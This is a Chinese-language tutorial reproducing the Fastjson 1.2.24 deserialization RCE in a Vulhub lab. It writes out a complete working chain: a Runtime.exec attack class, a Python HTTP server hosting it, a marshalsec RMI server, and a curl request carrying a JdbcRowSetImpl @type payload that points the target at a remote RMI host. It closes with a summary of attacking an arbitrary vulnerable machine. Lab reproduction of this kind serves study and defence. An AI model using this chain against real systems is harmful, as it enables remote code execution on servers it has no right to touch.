Java - Fastjson之RCE攻击模拟(远程代码执行漏洞)
首先,本文的Fastjson相关的RCE问题,针对于版本在1.2.24以下的。
一. Fastjson出现RCE问题的必要前提分析
1.准备一个maven
项目,添加相关依赖:
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-io</artifactId>
<version>1.3.2</version>
</dependency>
2.准备一个实体类Student
,并给里面的get
/set
方法做打印操作。
public class Student {
private String name;//姓名
private String number;//学号
private int age; //年龄
public Student() throws IOException {
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public String getNumber() {
System.out.println("getNumber");
return number;
}
public void setNumber(String number) {
System.out.println("setNumber");
this.number = number;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) throws IOException {
System.out.println("setAge");
// 打开本地的某个文本文件,因为String类型的默认值是null
// 而Integer类型的属性,在new Student之后,默认值是0。在后续的调用中会涉及到。
Runtime.getRuntime().exec("cmd /c start F:\\/Gitspace/111.txt");
this.age = age;
}
}
我们知道,我们可以通过JSON.toJSONString()
方法来将对象转成JSON
字符串,那么,针对低版本的RCE问题,我们直接做一个针对性的比较:
@org.junit.Test
public void test(){
Student student = new Student();
String jsonStr1 = JSON.toJSONString(student);
System.out.println(jsonStr1);
System.out.println("==========================================");
String jsonStr2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonStr2);
}
来看下两者的输出内容的差别,可以发现,增加了SerializerFeature.WriteClassName
属性后,打印的json
串里面包含了@type
字段,而这个字段恰恰是本次RCE问题的一个重点关注对象。
1.1 对不带@type的JSON串反序列化
@org.junit.Test
public void testWithoutType() throws IOException {
//序列化
Student student = new Student();
String jsonStr1 = JSON.toJSONString(student);
System.out.println("testWithoutType:" + jsonStr1);
//反序列化
JSONObject jsonObject = JSON.parseObject(jsonStr1);
}
输出结果如下:
1.2 对带@type的JSON串反序列化
@org.junit.Test
public void testWithType() throws IOException {
//序列化
Student student = new Student();
String jsonStr2 = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println("testWithType:" + jsonStr2);
//反序列化
JSONObject jsonObject = JSON.parseObject(jsonStr2);
}
输出结果如下:
可见在序列化的时候调用了get
/set
方法。同时,由于调用了setAge
方法,会执行我预先写好的攻击代码(本篇文章也就是打开了一个文件)
其实面对上面的现象,可以做个小总结,针对于Fastjson漏洞:
- 当
json
字符串可控时(比如我们带上@type
,指定某个具体的类),我们可以反序列化出任意的对象。 - 如果这个对象的
构造/get/set
方法中若有危险的系统操作,那么就可以反序列化出一个危险的函数。
二. Fastjson1.2.24-RCE漏洞复现
前期准备:准备一台虚拟机用于当做漏洞靶场,这里利用的是Vulhub来作为靶场。
2.1 安装Vulhub靶场环境和前期准备工作
1.安装Python3
,因为Docker-compose
基于Python
开发,若你安装了,可以跳过,我这里有安装包Python3,密码chvp
。
安装步骤如下:
tar -zxf Python-3.9.9.tgz
。cd Python-3.9.9
./configure
make && make install
- 安装好后使用命令
python3 -V
,来检查是否成功:
2.检查是否有pip3
命令pip3 -V
,(Python3高版本会自带的一般来说,低版本的是pip
命令):
3.通过pip
来安装Docker-compose
:
pip3 install docker-compose
若此办法不行,可以尝试换一种安装:
curl -L "https://github.com/docker/compose/releases/download/1.25.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
4.安装好后,进入该路径/usr/local/bin
,执行命令chmod +x docker-compose
添加执行权限。
5.下载Vulhub,密码: tnh4,上传到linux中。
6.进入对应文件夹:/opt/vulhub-master/fastjson/1.2.24-rce
(每个人前缀可能不一样,但是后面肯定一样),启动docker容器(需要安装docker,docker的安装看网上教程),启动命令:
docker-compose up -d
效果如下:
使用命令docker ps -a
来检查是否启动容器成功:
7.查看靶场环境是否搭建成功:curl http://172.16.1.130:8090/
8.我们可以通过命令请求,来序列化一个对象:
curl http://172.16.1.130:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
结果如下:
2.2 编写攻击文件和RMI环境监听
2.2.1 攻击文件
文件内容如下:
public class Test {
public Test() {
try {
Runtime.getRuntime().exec("touch /opt/111.txt");
} catch (Exception var2) {
var2.printStackTrace();
}
}
public static void main(String[] args) {
new Test();
}
}
然后在当前目录下执行命令:javac Test.java
,就会生成对应的class
文件,将其上传到我们的虚机中。
2.2.2 用python启动简易Web服务
用python
在该目录下(Test.java
和Test.class
文件所在目录)启动一个服务:
python -m SimpleHTTPServer 8888
结果如下:
访问IP地址,结果如下:curl http://172.16.1.130:8888/
2.2.3 启动marshalsec工具,搭建RMI环境
RMI:远程方法调用。
下载marshalsec工具:并进行打包.
mvn clean package -DskipTests
若出现以下报错:
解决方案(mac电脑):
-
查看自己本机的jdk安装路径
/usr/libexec/java_home -V
:
-
复制后,输入命令
mvn -v
-
去对应安装目录下的
bin
目录,修改文件mvn
,在文件首行添加JAVA_HOME=刚刚复制的jdk地址
,如下:
完成后再打包即可
输入命令即可,marshalsec-0.0.3-SNAPSHOT-all.jar
是我们刚刚打包出来的,Test
是我们编写的攻击文件,localhost:8888
是我们通过python
监听的服务。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://172.16.1.130:8888/#Test" 9999
结果如下:
2.3 模拟攻击
1.在虚机上发起Post请求:
curl http://172.16.1.130:8090/ -H "Content-Type: application/json" --data '{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://172.16.1.130:9999/Test","autoCommit":true}}'
其中报文的JSON格式为:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://172.16.1.130:9999/Test",
"autoCommit":true
}
}
目的:
- 在虚拟机
172.16.1.130
上发起一个请求,对报文进行反序列化过程。 - 通过自定义的
payload
,调用远程服务(9999端口)上指定的Test
类。 - 而
Test
是我们写好的攻击类,一旦反序列化(针对class
文件)完成后,会在靶机上进行攻击(本文是创建一个111.txt
文件)。
备注:
- 靶机也就是docker容器,相关攻击会在docker内部进行,而docker运行于130虚机上。
- 我们模拟的RMI服务、对文件的监听也都是在130服务上,端口不一样就行。(当然也可以分在不同机器上)。
2.然后可以看下我们的RMI
服务,有着怎样的结果:说明RMI服务起作用了,然后会去寻找8888端口上的Test.class
文件,进行反序列化。
3.查看我们的8888Web服务(相当于我们把这个class
文件暴露给端口,让我们可以直接拿到)
4.再看看靶机(docker容器内部):可见,111.txt
文件创建了出来。
步骤:
-
查看容器id:
docker ps -a
-
根据id进入容器内部:
docker exec -it d74e6c320b86 bash
-
进入/opt目录查看对应的文件:
到这里RCE漏洞复现也就完成了。
2.4 总结
假设我们知道某一个机器A,它的环境里面,存在这个反序列化漏洞。那么整个攻击流程如下:
- 我们在自己的本地机器编写一个攻击类,并且得到它的
class
字节码文件M。 - 通过自定义payload(请求报文),像目标环境A发送攻击请求。
- 通过在报文中,通过
RMI
服务,允许我们指定本地的攻击类M。 - 目标机器A加载攻击类M字节码,被攻击。
下一篇再分析1.2.24版本的fastjson的漏洞原理。